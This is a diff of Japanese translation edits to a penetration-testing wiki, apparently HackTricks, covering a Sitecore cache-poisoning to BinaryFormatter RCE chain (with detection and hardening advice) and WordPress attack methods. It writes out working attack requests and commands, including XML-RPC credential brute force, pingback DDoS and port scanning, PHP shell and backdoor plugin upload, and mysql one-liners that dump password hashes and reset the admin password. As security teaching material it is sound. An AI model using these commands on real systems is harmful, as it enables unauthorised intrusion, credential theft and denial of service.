Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です（静的 XAML に由来するため、通常 ctl00_ctl00_ctl05_ctl03 のように安定しています）。 +- __PARAMETERS の形式は Method("arg1","arg2") です。 -## What to poison: キャッシュキーの構築 +## 何を poison するか: キャッシュキーの構築 -Sitecore のコントロールで使用される典型的な HtmlCache キーの構築: +Sitecore controls で使用される典型的な HtmlCache キーの構築: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; @@ -94,9 +94,9 @@ return string.Empty; ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -## キャッシュ可能なアイテムと “vary by” ディメンションの列挙 +## キャッシュ可能なアイテムと “vary by” 次元の列挙 -ItemServiceが（誤って）匿名で公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。 +ItemServiceが匿名で（誤って）公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。 簡易プローブ: ``` @@ -104,7 +104,7 @@ GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` -キャッシュ可能な項目とフラグの一覧: +キャッシュ可能なアイテムとフラグの一覧: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` @@ -114,7 +114,7 @@ GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) -ItemServiceが限定的なアカウント（例: ServicesAPI）をなりすましてResults arrayを空で返しても、TotalCountはpre‑ACLのSolrヒットを反映する場合があります。wildcardsを使ってitem groups/idsをbrute‑forceし、TotalCountが収束して内部コンテンツやデバイスをマッピングする様子を観察できます: +ItemService が限定アカウント（例: ServicesAPI）を偽装して Results 配列を空で返しても、TotalCount は依然として pre‑ACL の Solr ヒットを反映することがあります。ワイルドカードを使って item groups/ids を brute‑force すると、TotalCount が収束して内部コンテンツやデバイスをマッピングしていく様子を確認できます: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 @@ -123,22 +123,22 @@ GET /...term=%2B_templatename:Device;%2B_group:aa* GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* → narrow to a specific item ``` -## Post‑auth RCE: convertToRuntimeHtml における BinaryFormatter sink (CVE-2025-53691) +## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) -Sink: +シンク: ```csharp // Sitecore.Convert byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` -convertToRuntimeHtml パイプラインの ConvertWebControls ステップを通じて到達可能で、id が {iframeId}_inner の要素を探し、base64 でデコードしてデシリアライズし、その結果の文字列を HTML に注入します: +convertToRuntimeHtml pipeline step ConvertWebControls を経由してアクセス可能で、id {iframeId}_inner の要素を探し、それを base64 decodes + deserializes して得られた文字列を HTML に注入します: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` -トリガー (authenticated, Content Editor rights)。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UIクリックなしのエンドツーエンド: +トリガー（認証済み、Content Editor 権限）。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UI クリックなしでのエンドツーエンド： ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx @@ -161,28 +161,29 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix ``` ガジェット生成: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute. + {{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} ## 完全なチェーン -1) Pre‑auth 攻撃者が、XAML の AjaxScriptManager を介して反射的に WebControl.AddToCache を呼び出すことで、任意の HTML によって HtmlCache を汚染する。 -2) 汚染された HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローに誘導する。 -3) FixHtml ページは convertToRuntimeHtml → ConvertWebControls をトリガーし、そこで attacker‑controlled base64 を BinaryFormatter 経由で deserializes して → Sitecore アプリプールのアイデンティティで RCE に至る。 +1) Pre‑auth の攻撃者が XAML AjaxScriptManager 経由で WebControl.AddToCache をリフレクション呼び出しして HtmlCache に任意の HTML を注入します。 +2) Poisoned HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローへ誘導します。 +3) FixHtml ページが convertToRuntimeHtml → ConvertWebControls をトリガーし、攻撃者制御の base64 を BinaryFormatter でデシリアライズして、Sitecore アプリプールのアイデンティティで RCE を引き起こします。 ## 検出 - Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` へのリクエストで `__ISEVENT=1`、疑わしい `__SOURCE` と `__PARAMETERS=AddToCache(...)`。 -- ItemService probing: `/sitecore/api/ssc` のワイルドカードクエリの急増、空の `Results` と大きな `TotalCount`。 -- Deserialization attempts: `EditHtml.aspx` に続いて `FixHtml.aspx?hdl=...`、および HTML フィールド内の異常に大きな base64。 +- ItemService probing: `/sitecore/api/ssc` のワイルドカードクエリの急増、`Results` が空で `TotalCount` が大きい。 +- Deserialization attempts: `EditHtml.aspx` の後に `FixHtml.aspx?hdl=...`、HTML フィールドに異常に大きな base64 が含まれる。 ## ハードニング -- Sitecore のパッチ KB1003667 と KB1003734 を適用する；pre‑auth XAML ハンドラをゲート/無効化するか厳密なバリデーションを追加する；`/-/xaml/` を監視およびレート制限する。 -- BinaryFormatter を削除/置換する；convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側バリデーションを強制する。 -- `/sitecore/api/ssc` をループバックまたは認証済みロールに限定する；`TotalCount`‑based side channels を leak するインパーソネーションパターンを避ける。 -- Content Editor ユーザーに対して MFA / least privilege を強制する；CSP を見直して cache poisoning による JS steering の影響を減らす。 +- Sitecore パッチ KB1003667 と KB1003734 を適用。pre‑auth XAML ハンドラを制御/無効化するか厳格な検証を追加。`/-/xaml/` を監視しレート制限を行う。 +- BinaryFormatter を削除または置換。convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側検証を実施する。 +- `/sitecore/api/ssc` を loopback または認証済みロールに限定。`TotalCount` ベースのサイドチャネルを生むインパーソネーションパターンを避ける。 +- Content Editor ユーザーに対して MFA / 最小権限を強制。CSP を見直して cache poisoning による JS 操作の影響を低減する。 ## References diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index a6da7ea58..5a894e557 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## 基本情報 -- **Uploaded** ファイルは次に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** テーマのファイルは /wp-content/themes/ にあります。テーマの php を変更して RCE を得る場合、おそらくそのパスを使用します。例えば、**theme twentytwelve** を使用すると [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) の **404.php** ファイルにアクセスできます。 +- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** したがってテーマの php を変更して RCE を得る場合はおそらくそのパスを使用します。例えば：**theme twentytwelve** を使用している場合、次の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- `wp-config.php` にはデータベースの root パスワードが含まれていることがあります。 -- チェックするデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- In **wp-config.php** you can find the root password of the database. +- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Main WordPress Files** - `index.php` -- `license.txt` にはインストールされている WordPress のバージョンなどの有用な情報が含まれます。 -- `wp-activate.php` は新しい WordPress サイト設定時のメールアクティベーション処理に使われます。 -- ログイン用ファイル/フォルダ（隠すために名前が変更されていることがあります）: - - `/wp-admin/login.php` - - `/wp-admin/wp-login.php` - - `/login.php` - - `/wp-login.php` -- `xmlrpc.php` は、HTTP をトランスポート、XML をエンコーディング機構としてデータ送信を可能にする WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。 -- `wp-content` フォルダはプラグインとテーマが格納されるメインディレクトリです。 +- `license.txt` にはインストールされている WordPress のバージョンなど有用な情報が含まれています。 +- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール認証プロセスに使用されます。 +- Login folders (may be renamed to hide it): +- `/wp-admin/login.php` +- `/wp-admin/wp-login.php` +- `/login.php` +- `/wp-login.php` +- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコード機構として使用してデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。 +- `wp-content` フォルダはプラグインやテーマが格納される主要ディレクトリです。 - `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。 - `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。 -- `wp-sitemap.xml` WordPress バージョン 5.5 以降では、公開されたすべての投稿および公開クエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。 +- `wp-sitemap.xml` Wordpress のバージョン 5.5 以降では、Worpress はすべての公開投稿および公開でクエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルを生成します。 -**ポストエクスプロイテーション** +**Post exploitation** -- `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザ名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティングに役立ちます。 +- `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティング時に役立ちます。 ### ユーザー権限 -- **Administrator** -- **Editor**: 自分および他者の投稿を公開・管理できます -- **Author**: 自分の投稿を公開・管理できます -- **Contributor**: 投稿を作成・管理できますが公開はできません -- **Subscriber**: 投稿を閲覧しプロフィールを編集できます +- **Administrator**: 管理者 +- **Editor**: 編集者 — 自分と他人の投稿を公開および管理できる +- **Author**: 投稿者 — 自分の投稿を公開および管理できる +- **Contributor**: 寄稿者 — 投稿を作成および管理できるが公開はできない +- **Subscriber**: 購読者 — 投稿を閲覧し、自分のプロフィールを編集できる -## **Passive Enumeration** +## **パッシブ列挙** -### **Get WordPress version** +### **WordPress バージョンの取得** -ファイル `/license.txt` または `/readme.html` を見つけられるか確認する +`/license.txt` または `/readme.html` ファイルが見つかるか確認してください -ページの**ソースコード**内（例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)）: +ページの **source code** 内（例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)）: - grep ```bash @@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- CSS リンクファイル +- CSS link files ![](<../../images/image (533).png>) -- JavaScript ファイル +- JavaScript files ![](<../../images/image (524).png>) @@ -72,38 +72,38 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### 一般的なバージョン抽出 +### バージョンを一般的に抽出する ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## アクティブ列挙 +## アクティブな列挙 ### プラグインとテーマ -おそらくすべてのプラグインとテーマを見つけられないでしょう。すべてを発見するには、**積極的にプラグインとテーマのリストを Brute Force する**必要があります（幸い、このリストを含む自動化ツールが存在します）。 +おそらく、すべてのプラグインやテーマを見つけられないでしょう。すべてを発見するには、**能動的に Brute Force してプラグインとテーマのリストを探索する**必要があります（幸い、これらのリストを含む自動化ツールが存在します）。 ### ユーザー -- **ID Brute:** WordPress サイトから有効なユーザーを、users IDs を Brute Forcing することで取得します: +- **ID Brute:** WordPressサイトのユーザーIDを Brute Forcing して有効なユーザーを取得します: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。 +レスポンスが**200**または**30X**の場合、そのidは**有効**です。レスポンスが**400**の場合、そのidは**無効**です。 -- **wp-json:** ユーザーの情報を取得するために、次のようなクエリを試すこともできます: +- **wp-json:** ユーザー情報を取得するためにクエリしてみることもできます: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -ユーザーに関するいくつかの情報を明らかにする可能性がある別の `/wp-json/` エンドポイントは: +ユーザーに関するいくつかの情報を明らかにするもう一つの `/wp-json/` エンドポイントは次のとおりです: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **この機能が有効になっているユーザーに関する情報のみが提供されます**。 +Note that this endpoint only exposes users that have made a post. **Only information about the users that has this feature enable will be provided**. Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -- **Login username enumeration**: ログイン時、**`/wp-login.php`** では **message** が **different** で、指定した **username exists or not** を示します。 +- **Login username enumeration**: **`/wp-login.php`** にログインする際、**message** は **username が存在するかどうか** によって **異なります**。 ### XML-RPC @@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Credentials Bruteforce** +**認証情報 Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます: +**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、認証情報をbrute-forceするために使用できるメソッドの一部です。もしそれらのいずれかを見つけたら、次のようなものを送信できます: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -認証情報が無効な場合、200コードのレスポンス内にメッセージ _"Incorrect username or password"_ が表示されるべきです。 +認証情報が無効な場合、200コードのレスポンス内に _"ユーザー名またはパスワードが正しくありません"_ というメッセージが表示されるはずです。 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます（[https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)） +正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -さらに、同じリクエストで複数の認証情報を試せるため、**`system.multicall`** を使ってクレデンシャルをブルートフォースする、より**高速な方法**があります: +また、同じリクエスト内で複数の資格情報を試せるため、**より速い方法**として **`system.multicall`** を使って資格情報をブルートフォースできます:
-**2FA のバイパス** +**2FA を回避** -この手法は人間向けではなくプログラム向けで古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインのログインが 2FA で保護されている場合、**xmlrpc.php を悪用してそれらの creds で 2FA をバイパスしてログインできる可能性があります**。コンソールで実行できるすべての操作は行えない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。 +このメソッドは人間向けではなくプログラム向けであり古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合でも、**xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります**。コンソールから実行できるすべての操作が行えるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように、RCE に到達できる場合もあります。 -**DDoS またはポートスキャン** +**DDoS or port scanning** -リストの中に _**pingback.ping**_ メソッドが見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます.\ -これを利用すれば、**何千もの** Wordpress **サイト** に同一の **場所** へアクセスさせ（その場所で **DDoS** を引き起こす）、あるいは任意のポートを指定して **Wordpress** に内部 **ネットワーク** のスキャンをさせることもできます。 +リスト内に _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\ +これは、**何千もの** Wordpress **サイト** に一つの **場所** へ **アクセス** させ（その場所で **DDoS** を引き起こす）、または任意のポートを指定して Wordpress に内部 **ネットワーク** を **スキャン** させる用途に使えます。 ```html pingback.ping @@ -191,7 +191,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -もし **faultCode** の値が **0**（17）より **大きい** なら、そのポートは開いていることを意味します。 +**faultCode** の値が **0**（17）より **大きい** 場合、そのポートは開いています。 前のセクションでの **`system.multicall`** の使用例を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。 @@ -209,17 +209,17 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ### wp-cron.php DoS -このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\ -このファイルに**アクセス**されると、"重い"な MySQL **query** が実行されるため、**attackers** によって **DoS** を**引き起こす**ために利用される可能性があります。\ -また、デフォルトでは、`wp-cron.php` はすべてのページ読み込み時（クライアントが Wordpress のページを要求するたび）に呼び出されるため、トラフィックの多いサイトでは問題（DoS）を引き起こすことがあります。 +このファイルは通常Wordpressサイトのルートに存在します: **`/wp-cron.php`**\ +このファイルに**accessed**されると、"heavy" な MySQL **query** が実行されるため、attackers によって DoS を **cause** するために利用される可能性があります。\ +また、デフォルトでは `wp-cron.php` は各ページロード時（クライアントが任意の Wordpress ページを要求するたび）に呼び出されるため、トラフィックが多いサイトでは問題（DoS）を引き起こす可能性があります。 -Wp-Cron を無効にして、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します（問題を引き起こさないように）。 +Wp-Cron を無効化し、ホスト内で必要な処理を定期的に実行する real cronjob を作成することが推奨されます（問題を引き起こさないように）。 ### /wp-json/oembed/1.0/proxy - SSRF -_try_ https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります。 +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみると、Worpress site があなたにリクエストを送ってくるかもしれません。 -This is the response when it doesn't work: +動作しない場合のレスポンスは次の通りです: ![](<../../images/image (365).png>) @@ -230,131 +230,130 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -このツールは **methodName: pingback.ping** が存在するか、またパス **/wp-json/oembed/1.0/proxy** の有無を確認し、存在する場合はそれらを悪用しようとします。 +このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** を確認し、存在する場合はそれらを exploit しようとします。 -## 自動ツール +## 自動化ツール ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## 1ビットを上書きしてアクセスを得る +## ビットを上書きしてアクセスを得る -実際の攻撃というより好奇心からのものです。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できます。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にできます。 +実際の攻撃というより好奇心をそそる事例です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意の wordpress ファイルの1ビットを反転できました。つまり、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にすることができます。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **パネル RCE** +## **Panel RCE** -**テーマで使用されている php を変更する（admin credentials が必要）** +**使用されているテーマの php を修正する (admin credentials needed)** -外観 → テーマエディター → 404 テンプレート（右側） +Appearance → Theme Editor → 404 Template (右側) -php シェル用にコンテンツを変更する: +php shell の内容に変更する: ![](<../../images/image (384).png>) -更新されたページにどうアクセスするかをインターネットで調べる。この場合、次の場所にアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +更新したページへどうアクセスするかをインターネットで調べる。今回の場合アクセス先はここ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -以下を使用できます: +使用例: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -セッションを取得するために。 +sessionを取得するために。 ## Plugin RCE ### PHP plugin -It may be possible to upload .php files as a plugin.\ -例えば .php ファイルをプラグインとしてアップロードできる場合があります。 -例えば次のように php バックドアを作成します: +プラグインとして .php files をアップロードできることがあります。 +例えば次のように php backdoor を作成します: ![](<../../images/image (183).png>) -Then add a new plugin: +次に新しい plugin を追加します: ![](<../../images/image (722).png>) -Upload plugin and press Install Now: +plugin をアップロードし、Install Now を押します: ![](<../../images/image (249).png>) -Click on Procced: +Procced をクリックします: ![](<../../images/image (70).png>) -Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: +おそらくこれだけでは何も起こらないように見えますが、Media に移動すると shell がアップロードされているのが確認できます: ![](<../../images/image (462).png>) -Access it and you will see the URL to execute the reverse shell: +それにアクセスすると reverse shell を実行するための URL が表示されます: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: +この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard から次のように行います: 1. **Plugin Acquisition**: プラグインは Exploit DB のようなソースから取得します（例: [**here**](https://www.exploit-db.com/exploits/36374)）。 2. **Plugin Installation**: -- WordPress dashboard に移動し、`Dashboard > Plugins > Upload Plugin` へ進みます。 +- WordPress dashboard に移動し、次に `Dashboard > Plugins > Upload Plugin` へ進みます。 - ダウンロードしたプラグインの zip ファイルをアップロードします。 -3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。 +3. **Plugin Activation**: プラグインが正常にインストールされたら、dashboard から有効化する必要があります。 4. **Exploitation**: -- プラグイン "reflex-gallery" をインストールして有効化すると、脆弱であることが知られているため悪用可能です。 -- Metasploit framework はこの脆弱性用の exploit を提供しています。適切なモジュールをロードして特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。 -- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎない点に注意してください。 +- plugin "reflex-gallery" がインストールされ有効化されている場合、脆弱であることが知られているため悪用できます。 +- Metasploit framework はこの脆弱性に対する exploit を提供しています。適切なモジュールをロードし特定のコマンドを実行することで meterpreter session を確立し、サイトへの不正アクセスを得ることができます。 +- これは WordPress サイトを悪用する多数の方法のひとつに過ぎないことに注意してください。 -内容には、プラグインのインストールおよび有効化の手順を示す視覚資料が含まれています。ただし、このような方法で脆弱性を悪用することは、適切な許可がない限り違法かつ非倫理的であることに注意してください。この情報は責任を持って、明確な許可のある penetration testing などの合法的な文脈でのみ使用してください。 +内容には、プラグインのインストールおよび有効化手順を示す WordPress dashboard のビジュアルが含まれています。ただし、このように脆弱性を悪用することは、適切な許可なしには違法であり非倫理的であることに注意してください。この情報は責任を持って、明確な許可のあるペネトレーションテストなど合法的な文脈でのみ使用してください。 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. に対応し、以下を可能にします：** -- _**Privilege Escalation:**_ WordPress にユーザを作成します。 -- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン（backdoor）を WordPress にアップロードします。 -- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。 +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を確認してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X をサポートし、次を可能にします: +- _**Privilege Escalation:**_ WordPress にユーザーを作成します。 +- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタム plugin (backdoor) を WordPress にアップロードします。 +- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込み plugin を編集します。 - _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。 -- _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress プラグイン/テーマ向けのカスタム exploit。 +- _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress plugin/テーマ向けのカスタム Exploits。 ## Post Exploitation -ユーザー名とパスワードを抽出する: +ユーザー名とパスワードを抽出: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -adminのパスワードを変更する: +admin のパスワードを変更: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest -### Attack Surface +### 攻撃対象 -Wordpressプラグインがどのように機能を公開するかを知ることは、その機能に対する脆弱性を発見するために重要です。以下の箇条書きはプラグインがどのように機能を公開するかを示しており、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。 +Wordpress プラグインがどのように機能を公開するかを把握することは、その機能に潜む脆弱性を見つける上で重要です。プラグインが機能を公開する方法は以下の箇条書きで確認でき、脆弱なプラグインの例はいくつか [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) にあります。 - **`wp_ajax`** -プラグインが機能を公開する方法の一つは AJAX ハンドラ経由です。これらにはロジック、authorization、authentication のバグが含まれている可能性があります。さらに、これらの関数は認証および authorization の両方を wordpress nonce の存在に基づくことが多く、**any user authenticated in the Wordpress instance might have**（役割に関係なく）。 +プラグインが機能を公開する方法の一つに、AJAX ハンドラ経由のものがあります。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に基づいていることがよくあり、その nonce は **Wordpress インスタンスに認証された任意のユーザが持ち得る**（ロールに関係なく）点に注意が必要です。 -These are the functions that can be used to expose a function in a plugin: +これらはプラグイン内で関数を公開するために使われる関数です： ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` を使用すると、エンドポイントは任意のユーザ（未認証のユーザも含む）からアクセス可能になります。** +**`nopriv` の使用により、そのエンドポイントは任意のユーザ（認証されていないユーザでさえ）からアクセス可能になります。** > [!CAUTION] -> さらに、関数が `wp_verify_nonce` 関数でユーザの認可のみを確認しているだけの場合、その関数は単にユーザがログインしているかどうかを確認しているだけで、通常はユーザの役割をチェックしていません。したがって、権限の低いユーザが高権限の操作にアクセスできる可能性があります。 